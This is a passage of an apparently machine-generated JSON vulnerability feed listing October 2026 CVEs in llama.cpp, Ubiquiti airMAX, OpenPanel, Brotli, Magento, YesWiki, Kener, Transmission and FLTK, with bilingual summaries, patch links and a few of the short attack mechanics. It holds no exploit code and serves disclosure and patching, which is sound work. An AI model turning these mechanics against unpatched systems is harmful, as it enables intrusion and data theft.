استخدامه."},"refs":[["https://vuldb.com/cve/CVE-2026-116623","advisory"],["https://vuldb.com/submit/1024407","advisory"],["https://code-projects.org/","ref"],["https://github.com/YoonSunWoo02/CVE-simple-cms-broken-access-control","ref"],["https://vuldb.com/vuln/426553","ref"],["https://vuldb.com/vuln/426553/cti","ref"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"code-projects-simple-content-management-system"},{"id":"CVE-2026-116816","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-129","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T01:19:06Z","product":"ggml-org llama.cpp","affected":[["b5899 – <b10261","b10261"]],"title":{"en":"llama.cpp b5899 before b10261 Heap Out-of-Bounds Write via plamo2 Tokenizer","ar":"كتابة خارج حدود المخزن المؤقت للذاكرة الديناميكية (Heap) في llama.cpp b5899 قبل b10261 عبر برنامج ترميز plamo2"},"summary":{"en":"llama.cpp b5899 before b10261 contains a heap out-of-bounds write vulnerability in llm_tokenizer_plamo2::build that allows attackers to corrupt heap memory via crafted GGUF models. Attackers can supply BYTE-typed token text like <0x-1> whose negative parsed value writes token ids before the bytes_ buffer during model loading, causing crashes or potential code execution.","ar":"يحتوي llama.cpp b5899 قبل b10261 على ثغرة كتابة خارج حدود المخزن المؤقت للذاكرة الديناميكية (Heap) في llm_tokenizer_plamo2::build والتي تسمح للمهاجمين بإفساد ذاكرة الـ Heap عبر نماذج GGUF معدلة خصيصًا. يمكن للمهاجمين توفير نص رمز من نوع BYTE مثل <0x-1> والذي تؤدي قيمته التي تم تحليلها بشكل سلب إلى كتابة معرفات الرموز قبل مخزن bytes_ المؤقت أثناء تحميل النموذج، مما يتسبب في تعطل النظام أو احتمال تنفيذ شيفرة."},"refs":[["https://github.com/ggml-org/llama.cpp/commit/cf06ad7dfe79e7bf2934150d4fefe1ce8db05490","patch"],["https://github.com/ggml-org/llama.cpp/pull/25969","patch"],["https://github.com/ggml-org/llama.cpp/pull/26511","patch"],["https://www.vulncheck.com/advisories/llama-cpp-b5899-before-b10261-heap-out-of-bounds-write-via-plamo2-tokenizer","advisory"],["https://github.com/ggml-org/llama.cpp/blob/b10259/src/llama-vocab.cpp#L1376-L1377","ref"],["https://github.com/ggml-org/llama.cpp/releases/tag/b10261","ref"]],"epss":0.0014,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"ggml-org-llama-cpp"},{"id":"CVE-2026-116836","cvss":8.8,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-79","tags":["LPE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T01:19:06Z","product":"Ubiquiti Inc airMAX M","affected":[["0 – <6.3.26","6.3.26"]],"title":{"en":"A malicious actor with access to the adjacent network and under certain conditions could exploit a Stored Cross-Site Scripting (XSS) vulnerability fou","ar":"قد يتمكن طرف خبيث لديه إمكانية الوصول إلى الشبكة المجاورة وفي ظل ظروف معينة من استغلال ثغرة تخطيط المواقع المتقاطع المخزن (XSS)"},"summary":{"en":"A malicious actor with access to the adjacent network and under certain conditions could exploit a Stored Cross-Site Scripting (XSS) vulnerability found in airMAX M devices to escalate privileges on the device.","ar":"قد يتمكن طرف خبيث لديه إمكانية الوصول إلى الشبكة المجاورة وفي ظل ظروف معينة من استغلال ثغرة تخطيط المواقع المتقاطع المخزن (XSS) الموجودة في أجهزة airMAX M لتصعيد الصلاحيات على الجهاز."},"refs":[["https://uisp.community.ui.com/releases/Security-Advisory-Bulletin-071/7d4d42cf-09e4-44d3-9c19-649cac8c6af3","ref"]],"epss":0.0019,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"ubiquiti-inc-airmax-m"},{"id":"CVE-2026-116837","cvss":8.8,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-122","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T01:19:06Z","product":"Ubiquiti Inc airMAX M","affected":[["0 – <6.3.26","6.3.26"],["0 – <2.4.2","2.4.2"],["0 – <1.5.7","1.5.7"],["0 – <2.0.3","2.0.3"]],"title":{"en":"A malicious actor with access to the adjacent network could exploit a Heap-based Buffer Overflow vulnerability found in airMAX M, LTU, SolarPoint, and","ar":"قد يتمكن طرف خبيث لديه إمكانية الوصول إلى الشبكة المجاورة من استغلال ثغرة فيضان المخزن المؤقت المستند إلى الكومة"},"summary":{"en":"A malicious actor with access to the adjacent network could exploit a Heap-based Buffer Overflow vulnerability found in airMAX M, LTU, SolarPoint, and SolarSwitch devices to execute arbitrary code on the device.","ar":"قد يتمكن طرف خبيث لديه إمكانية الوصول إلى الشبكة المجاورة من استغلال ثغرة فيضان المخزن المؤقت المستند إلى الكومة الموجودة في أجهزة airMAX M و LTU و SolarPoint و SolarSwitch لتنفيذ شيفرة عشوائية على الجهاز."},"refs":[["https://uisp.community.ui.com/releases/Security-Advisory-Bulletin-071/7d4d42cf-09e4-44d3-9c19-649cac8c6af3","ref"]],"epss":0.0021,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"ubiquiti-inc-airmax-m"},{"id":"CVE-2026-116838","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-352","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T01:19:06Z","product":"Ubiquiti Inc airMAX M","affected":[["0 – <6.3.26","6.3.26"]],"title":{"en":"A malicious actor who lures an authenticated user to a malicious page could exploit a Cross-Site Request Forgery (CSRF) vulnerability found in airMAX ","ar":"قد يتمكن طرف خبيث يستدرج مستخدمًا مصادقًا عليه إلى صفحة خبيثة من استغلال ثغرة تزوير الطلبات عبر الموقع (CSRF)"},"summary":{"en":"A malicious actor who lures an authenticated user to a malicious page could exploit a Cross-Site Request Forgery (CSRF) vulnerability found in airMAX M devices to execute a Command Injection on the device.","ar":"قد يتمكن طرف خبيث يستدرج مستخدمًا مصادقًا عليه إلى صفحة خبيثة من استغلال ثغرة تزوير الطلبات عبر الموقع (CSRF) الموجودة في أجهزة airMAX M لتنفيذ حقن أوامر على الجهاز."},"refs":[["https://uisp.community.ui.com/releases/Security-Advisory-Bulletin-071/7d4d42cf-09e4-44d3-9c19-649cac8c6af3","ref"]],"epss":0.0038,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"ubiquiti-inc-airmax-m"},{"id":"CVE-2026-116819","cvss":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","cwe":"CWE-200","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T00:17:16Z","product":"Openpanel-dev openpanel","affected":[["0 – <3.0.0","3.0.0"]],"title":{"en":"OpenPanel before 3.0.0 Credential Disclosure via notification.rules Query","ar":"OpenPanel قبل الإصدار 3.0.0 يكشف عن بيانات الاعتماد عبر استعلام notification.rules"},"summary":{"en":"OpenPanel before 3.0.0 contains an information disclosure vulnerability that allows read-level project members to obtain plaintext integration secrets because the notification.rules query skips redactIntegration. Attackers can call the notification.rules tRPC query to retrieve Slack bot tokens, webhook URLs, and authorization headers for use against external systems.","ar":"يحتوي OpenPanel قبل الإصدار 3.0.0 على ثغرة كشف معلومات تسمح لأعضاء المشروع ذوي صلاحيات القراءة بالحصول على أسرار التكامل بنص عادي لأن استعلام notification.rules يتخطى الدالة redactIntegration. يمكن للمهاجمين استدعاء استعلام tRPC المسمى notification.rules لاسترداد رموز بوتات Slack، وعروات الويب (Webhooks)، وترويسات المصادقة لاستخدامها ضد أنظمة خارجية."},"refs":[["https://github.com/Openpanel-dev/openpanel/commit/071c736c4539c005ac32647f2cfc6dec89cfb596","patch"],["https://github.com/Openpanel-dev/openpanel/security/advisories/GHSA-wfrw-rm3f-52x8","advisory"],["https://www.vulncheck.com/advisories/openpanel-before-3.0.0-credential-disclosure-via-notification-rules-query","advisory"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"openpanel-dev-openpanel"},{"id":"CVE-2026-116811","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T00:17:14Z","product":"Openpanel-dev openpanel","affected":[["0 – <3.0.0","3.0.0"]],"title":{"en":"OpenPanel before 3.0.0 Sandbox Escape RCE via Webhook JavaScript Template","ar":"OpenPanel قبل الإصدار 3.0.0 يتيح الهروب من صندوق الحماية وتنفيذ أوامر عن بُعد عبر قالب JavaScript لعروة الويب"},"summary":{"en":"OpenPanel before 3.0.0 contains a sandbox escape vulnerability in the js-runtime validator that allows a project member to bypass the AST allowlist by aliasing the Function constructor. Attackers with write access can read payload.constructor.constructor into a local and call it to run arbitrary code in the worker process.","ar":"يحتوي OpenPanel قبل الإصدار 3.0.0 على ثغرة هروب من صندوق الحماية في مدقق js-runtime تسمح لعضو المشروع بتجاوز قائمة السماح لشجرة بناء الجملة المجردة (AST) عبر عمل اسم مستعار لمُنشئ Function. يمكن للمهاجمين الذين يمتلكون صلاحية الكتابة قراءة payload.constructor.constructor في متغير محلي واستدعائه لتشغيل شيفرة عشوائية في عملية العامل (worker process)."},"refs":[["https://github.com/Openpanel-dev/openpanel/commit/42fc8623b5c5c30f0b89686451c0c5ab13046b81","patch"],["https://github.com/Openpanel-dev/openpanel/security/advisories/GHSA-mc99-9jf5-22cq","advisory"],["https://www.vulncheck.com/advisories/openpanel-before-3.0.0-sandbox-escape-rce-via-webhook-javascript-template","advisory"]],"epss":0.0049,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"openpanel-dev-openpanel"},{"id":"CVE-2026-116808","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T00:17:13Z","product":"Openpanel-dev openpanel","affected":[["0 – <3.0.0","3.0.0"]],"title":{"en":"OpenPanel before 3.0.0 ClickHouse SQL Injection via profile.values","ar":"OpenPanel قبل الإصدار 3.0.0 يتيح حقن SQL في ClickHouse عبر profile.values"},"summary":{"en":"OpenPanel before 3.0.0 contains an sql injection vulnerability that allows authenticated users to read cross-tenant data by supplying a crafted property parameter to profile.values. Attackers can inject a SELECT expression with their own FROM/WHERE clauses and comment out the project_id scope to exfiltrate other projects' profiles, events, and sessions.","ar":"يحتوي OpenPanel قبل الإصدار 3.0.0 على ثغرة حقن SQL تسمح للمستخدمين الذين يملكون حسابًا مصادقًا عليه بقراءة بيانات عبر المستأجرين من خلال توفير معامل خصائص معد خصيصًا إلى profile.values. يمكن للمهاجمين حقن تعبير SELECT مع جمل FROM/WHERE الخاصة بهم وتعليق نطاق project_id لاستخراج ملفات تعريف وأحداث وجلسات المشاريع الأخرى."},"refs":[["https://github.com/Openpanel-dev/openpanel/commit/a2aa053cb23e92967e812d3be5fb0f1d606d9fdc","patch"],["https://github.com/Openpanel-dev/openpanel/security/advisories/GHSA-4j6c-j6vc-xq96","advisory"],["https://www.vulncheck.com/advisories/openpanel-before-3.0.0-clickhouse-sql-injection-via-profile-values","advisory"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"openpanel-dev-openpanel"},{"id":"CVE-2026-111497","cvss":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-252","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-10-27T00:00:00Z","product":"Google Brotli","affected":[[">= 1.0.3, < 1.2.1","1.2.1"],[">= 1.0.3, < 1.2.1.0","1.2.1.0"],["1.0.3 – <1.0.10","1.0.10"],["1.1.0 – <1.1.1","1.1.1"],["1.2.0 – <1.2.1","1.2.1"],[" – <22.23.4","22.23.4"],["23.0.0 – <24.22.1","24.22.1"],["25.0.0 – <26.12.1","26.12.1"],[" – <1.2.1.0","1.2.1.0"],["8.0.0 – <8.0.33","8.0.33"],["9.0.0 – <9.0.22","9.0.22"],["10.0.0 – <10.0.14","10.0.14"]],"title":{"en":"Google Brotli Unchecked Return Value Vulnerability","ar":"ثغرة عدم التحقق من القيمة المُعادة في Google Brotli"},"summary":{"en":"Google Brotli contains an unchecked return value vulnerability that allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream.","ar":"يحتوي Google Brotli على ثغرة عدم التحقق من القيمة المُعادة والتي تسمح لمهاجم عن بُعد غير مصدق له بإفساد ذاكرة حالة فك الضغط المجاورة، أو كشف محتويات الذاكرة الحساسة، أو التسبب في حجب الخدمة، أو احتمالية تنفيذ تعليمات برمجية عشوائية باستخدام تدفق مضغوط بتقنية Brotli معد خصيصاً."},"refs":[["https://nodejs.org/en/blog/vulnerability/october-2026-security-releases#nodejs-brotli-decoder-out-of-bounds-write-permits-remote-code-execution-cve-2026-111497---high","patch"],["https://github.com/advisories/GHSA-9v8h-qqgm-4m35","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-111497","advisory"],["https://github.com/google/brotli/releases/tag/v1.2.1","advisory"],["https://github.com/dotnet/announcements/issues/494","advisory"],["https://www.aikido.dev/blog/node2shell-nodejs-brotli-rce-cve-2026-111497","advisory"],["https://patchtheplanet.org/brotli","advisory"],["https://lists.debian.org/debian-lts-announce/2026/10/msg00049.html","advisory"],["https://github.com/andybalholm/brotli/releases/tag/v1.2.7","advisory"],["https://broccoli2shell.com","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"]],"epss":0.8264,"kevAdded":"2026-10-27T00:00:00Z","kevDue":"2026-11-10T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"تطبيق التخفيفات وفقاً لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المعمول بها لخدمات السحابة أو أوقف استخدام المنتج إذا كانت التخفيفات غير متوفرة. أصحاب المصلحة مسؤولون عن تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات الترقيع في BOD 26-04.","machineTranslated":true,"productSlug":"google-brotli"},{"id":"CVE-2026-48356","cvss":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","cwe":"CWE-434","tags":["RCE"],"zero":false,"exploited":true,"status":"unknown","published":"2026-10-27T00:00:00Z","product":"Adobe Commerce and Magento","affected":[["0 – 1.20.0",null]],"title":{"en":"Adobe Commerce and Magento Unrestricted Upload of File with Dangerous Type Vulnerability","ar":"Adobe Commerce وMagento عرضة لثغرة رفع الملفات غير المقيدة ذات النوع الخطير"},"summary":{"en":"Adobe Commerce and Magento contain an unrestricted upload of file with dangerous type vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session.","ar":"تحتوي Adobe Commerce وMagento على ثغرة رفع ملفات غير مقيدة ذات نوع خطير والتي قد تؤدي إلى تنفيذ شيفرة عشوائية في سياق المستخدم الحالي، مما قد يتيح اكتساب صلاحيات مرتفعة أو السيطرة على حساب الضحية أو جلسته."},"refs":[["https://www.adobe.com/trust/security/products/commerce/apsb26-73.html","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-48356","advisory"],["https://helpx.adobe.com/security/products/magento/apsb26-73.html","advisory"],["https://sansec.io/research/magento-cms-block-loader-deepveindrilling#indicators-of-compromise","advisory"],["https://sansec.io/research/polyshell-mass-attack-wave","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-48356","ref"]],"epss":0.4458,"kevAdded":"2026-10-27T00:00:00Z","kevDue":"2026-11-10T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات الجهة المصنعة، مع ضمان الامتثال لتوجيهات وكالة CISA ضمن BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية الخاصة بوكالة CISA. اتبع توجيهات BOD 26-04 المعمول بها لخدمات الحوسبة السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تقع على عاتق الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"adobe-commerce-and-magento"},{"id":"CVE-2026-116827","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","cwe":"CWE-918","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T23:05:51Z","product":"YesWiki yeswiki","affected":[["0 – <4.7.0","4.7.0"]],"title":{"en":"YesWiki before 4.7.0 SSRF via copyUrlToLocalFile in Bazar CSV Import","ar":"نظام YesWiki في الإصدارات قبل 4.7.0 مصاب بثغرة تزوير الطلبات من جانب الخادم (SSRF) عبر الوظيفة copyUrlToLocalFile في استيراد ملفات CSV الخاصة بـ Bazar"},"summary":{"en":"YesWiki before 4.7.0 contains a server-side request forgery vulnerability in the Bazar CSV import copyUrlToLocalFile() function that allows authenticated administrators to make arbitrary outbound requests by supplying crafted URLs in CSV file or image fields. Attackers can bypass the extension check with a query-string suffix or redirects to fetch cloud metadata credentials, internal services, or local files via file://, with responses stored in the web-accessible files/ directory.","ar":"يحتوي نظام YesWiki في الإصدارات قبل 4.7.0 على ثغرة تزوير الطلبات من جانب الخادم في وظيفة `copyUrlToLocalFile()` لاستيراد ملفات CSV الخاصة بـ Bazar، والتي تسمح للمسؤولين المصدق عليهم بإجراء طلبات صادرة عشوائية عن طريق توفير عناوين URL مصممة في ملف CSV أو حقول الصور. يمكن للمهاجمين تجاوز فحص الامتداد باستخدام لاحقة سلسلة الاستعلام (query-string suffix) أو عمليات إعادة التوجيه لجلب بيانات اعتماد بيانات ميتا السحابية، أو الخدمات الداخلية، أو الملفات المحلية عبر `file://`، مع تخزين الاستجابات في مجلد `files/` القابل للوصول عبر الويب."},"refs":[["https://github.com/YesWiki/yeswiki/security/advisories/GHSA-v38g-qc7g-q3mq","advisory"],["https://www.vulncheck.com/advisories/yeswiki-before-4.7.0-ssrf-via-copyurltolocalfile-in-bazar-csv-import","advisory"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"yeswiki"},{"id":"CVE-2026-116747","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-321","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T22:16:59Z","product":"rajnandan1 kener","affected":[["3.0.0 – <4.1.10","4.1.10"]],"title":{"en":"Kener 3.0.0 before 4.1.10 Authentication Bypass via Hardcoded Fallback JWT Secret","ar":"Kener من الإصدار 3.0.0 حتى قبل 4.1.10 يتجاوز المصادقة عبر سر JWT احتياطي مثبت مسبقًا"},"summary":{"en":"Kener 3.0.0 before 4.1.10 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge session tokens by using the hardcoded DUMMY_SECRET fallback key. When KENER_SECRET_KEY is empty or unset, attackers knowing an administrator email can sign a kener-user cookie to access /manage/api with full administrative privileges or forge password-reset tokens.","ar":"يحتوي Kener من الإصدار 3.0.0 حتى قبل 4.1.10 على ثغرة تجاوز مصادقة تسمح لمهاجمين دون مصادقة بتزوير رموز الجلسات باستخدام مفتاح الرجوع الاحتياطي المثبت مسبقًا DUMMY_SECRET. عندما يكون KENER_SECRET_KEY فارغًا أو غير مُعين، يمكن للمهاجمين الذين يعرفون بريد المسؤول الإلكتروني توقيع ملف تعريف ارتباط kener-user للوصول إلى /manage/api بصلاحيات إدارية كاملة أو تزوير رموز إعادة تعيين كلمة المرور."},"refs":[["https://github.com/rajnandan1/kener/commit/ff636483544c926eab5b5e3e26b811c0f52bcaf8","patch"],["https://www.vulncheck.com/advisories/kener-3.0.0-before-4.1.10-authentication-bypass-via-hardcoded-fallback-jwt-secret","advisory"],["https://github.com/rajnandan1/kener","ref"],["https://github.com/rajnandan1/kener/blob/v4.1.9/src/lib/server/controllers/commonController.ts#L44-L55","ref"],["https://github.com/rajnandan1/kener/issues/871","ref"],["https://github.com/rajnandan1/kener/releases/tag/v4.1.10","ref"]],"epss":0.0062,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"rajnandan1-kener"},{"id":"CVE-2026-116748","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-942","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T22:16:59Z","product":"transmission transmission","affected":[["4.0.0 – <4.1.3","4.1.3"]],"title":{"en":"Transmission 4.0.0 before 4.1.3 Permissive CORS Leaks RPC Anti-CSRF Token","ar":"Transmission من الإصدار 4.0.0 حتى قبل 4.1.3 يحتوي على سياسة CORS متساهلة تسرب رمز الحماية من تزوير الطلبات عبر المواقع (Anti-CSRF) الخاص بـ RPC"},"summary":{"en":"Transmission 4.0.0 before 4.1.3 contains a permissive CORS vulnerability in handle_request() in rpc-server.cc that exposes the X-Transmission-Session-Id anti-CSRF token to any web origin. Malicious web pages can read the token from the 409 handshake response and replay it to issue RPC calls, enabling script-torrent-done execution, download-dir changes, or torrent and data deletion.","ar":"يحتوي Transmission من الإصدار 4.0.0 حتى قبل 4.1.3 على ثغرة CORS متساهلة في الدالة handle_request() داخل الملف rpc-server.cc والتي تكشف رمز الحماية من تزوير الطلبات عبر المواقع X-Transmission-Session-Id لأي مصدر ويب. يمكن لصفحات الويب الخبيثة قراءة الرمز من استجابة المصافحة 409 وإعادة إرساله لتنفيذ استدعاءات RPC، مما يتيح تشغيل أمر script-torrent-done، أو تغيير مجلد التنزيل، أو حذف التورنت والبيانات."},"refs":[["https://github.com/transmission/transmission/commit/c6a1bd2017a0fea9c956737c213f23e4b0f7929e","patch"],["https://github.com/transmission/transmission/pull/8938","patch"],["https://joshua.hu/transmission-cors-rpc-csrf-rce-drive-by-exploit","advisory"],["https://www.vulncheck.com/advisories/transmission-4.0.0-before-4.1.3-permissive-cors-leaks-rpc-anti-csrf-token","advisory"],["https://github.com/transmission/transmission","ref"],["https://github.com/transmission/transmission/blob/4.1.2/libtransmission/rpc-server.cc#L560","ref"],["https://github.com/transmission/transmission/releases/tag/4.1.3","ref"]],"epss":0.0125,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"transmission"},{"id":"CVE-2026-116724","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-190","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T22:16:56Z","product":"fltk fltk","affected":[["0 – 1.4.5",null]],"title":{"en":"FLTK through 1.4.5 Heap Buffer Overflow via Fl_BMP_Image Integer Overflow","ar":"FLTK حتى الإصدار 1.4.5 مصاب بفيضان المخزن المؤقت للذاكرة الديناميكية (Heap) عبر تجاوز الأعداد الصحيحة في Fl_BMP_Image"},"summary":{"en":"FLTK through 1.4.5 contains an integer overflow vulnerability in Fl_BMP_Image::load_bmp_() that causes undersized pixel buffer allocation from file-supplied width and height. Attackers can supply a crafted BMP or ICO file with large dimensions so row decoding writes file-derived data past the heap buffer, corrupting the application heap.","ar":"يحتوي FLTK حتى الإصدار 1.4.5 على ثغرة تجاوز الأعداد الصحيحة في الدالة Fl_BMP_Image::load_bmp_() والتي تؤدي إلى تخصيص مخزن مؤقت للبكسل أصغر من الحجم المطلوب بناءً على العرض والارتفاع المقدمين من الملف. يمكن للمهاجمين توفير ملف BMP أو ICO معد خصيصًا بأبعاد كبيرة بحيث تؤدي عملية فك ترميز الصفوف إلى كتابة بيانات مستمدة من الملف تجاوز حدود مخزن الكومة المؤقت، مما يؤدي إلى إفساد كوما التطبيق."},"refs":[["https://github.com/fltk/fltk/commit/3a049d8262dc759cf9737339420e8457e24c0cb1","patch"],["https://hackmd.io/@haindpwn/fltk-bmp-image-stack-heap-overflow","advisory"],["https://www.vulncheck.com/advisories/fltk-through-1.4.5-heap-buffer-overflow-via-fl-bmp-image-integer-overflow","advisory"],["https://github.com/fltk/fltk","ref"],["https://github.com/fltk/fltk/blob/release-1.4.5/src/Fl_BMP_Image.cxx#L281-L286","ref"],["https://github.com/fltk/fltk/issues/1632","ref"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"fltk"},{"id":"CVE-2026-116723","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-121","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T22:16:55Z","product":"fltk fltk","affected":[["0 – 1.4.5",null]],"title":{"en":"FLTK through 1.4.5 Stack Buffer Overflow via Fl_BMP_Image colors_used Field","ar":"FLTK حتى الإصدار 1.4.5 مصاب بفيضان المخزن المؤقت لتكديس الذاكرة (Stack) عبر حقل colors_used في Fl_BMP_Image"},"summary":{"en":"FLTK through 1.4.5 contains a stack-based buffer overflow vulnerability in Fl_BMP_Image::load_bmp_() that allows attackers to corrupt stack memory by supplying an oversized BMP colors_used field. Attackers can craft BMP or ICO files with colors_used above 256 to overflow the 768-byte colormap array, causing crashes or potential code execution.","ar":"يحتوي FLTK حتى الإصدار 1.4.5 على ثغرة فيضان المخزن المؤقت القائم على التكديس في الدالة Fl_BMP_Image::load_bmp_() والتي تسمح للمهاجمين بإفساد ذاكرة التكديس عن طريق توفير حقل colors_used بحجم مفرط في ملف BMP. يمكن للمهاجمين صياغة ملفات BMP أو ICO بقيمة colors_used أكبر من 256 لتجاوز سعة مصفوفة خريطة الألوان البالغة 768 بايت، مما يتسبب في تعطل التطبيق أو احتمالية تنفيذ شيفرة."},"refs":[["https://github.com/fltk/fltk/commit/3a049d8262dc759cf9737339420e8457e24c0cb1","patch"],["https://hackmd.io/@haindpwn/fltk-bmp-image-stack-heap-overflow","advisory"],["https://www.vulncheck.com/advisories/fltk-through-1.4.5-stack-buffer-overflow-via-fl-bmp-image-colors-used-field","advisory"],["https://github.com/fltk/fltk","ref"],["https://github.com/fltk/fltk/blob/release-1.4.5/src/Fl_BMP_Image.cxx#L255-L265","ref"],["https://github.com/fltk/fltk/issues/1632","ref"]],"epss":0.0016,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"fltk"},{"id":"CVE-2026-116589","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-248","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T22:16:55Z","product":"DataDog dd-trace-py","affected":[],"title":{"en":"Datadog dd-trace-py: IAST instrumentation can lead to application DOS","ar":"Datadog dd-trace-py: تجهيز IAST يمكن أن يؤدي إلى حجب الخدمة للتطبيق"},"summary":{"en":"Datadog dd-trace-py is the Datadog Python APM client. From 3.13.0 until 4.15.5, the IAST string-processing instrumentation does not properly handle certain internal errors while old-style % string formatting processes attacker-controlled input. An unhandled error can terminate the Python process and interrupt the work it is handling. Exploitation requires IAST to be enabled, which is not the default, and application code to apply the affected formatting operation to attacker-controlled input. This issue is 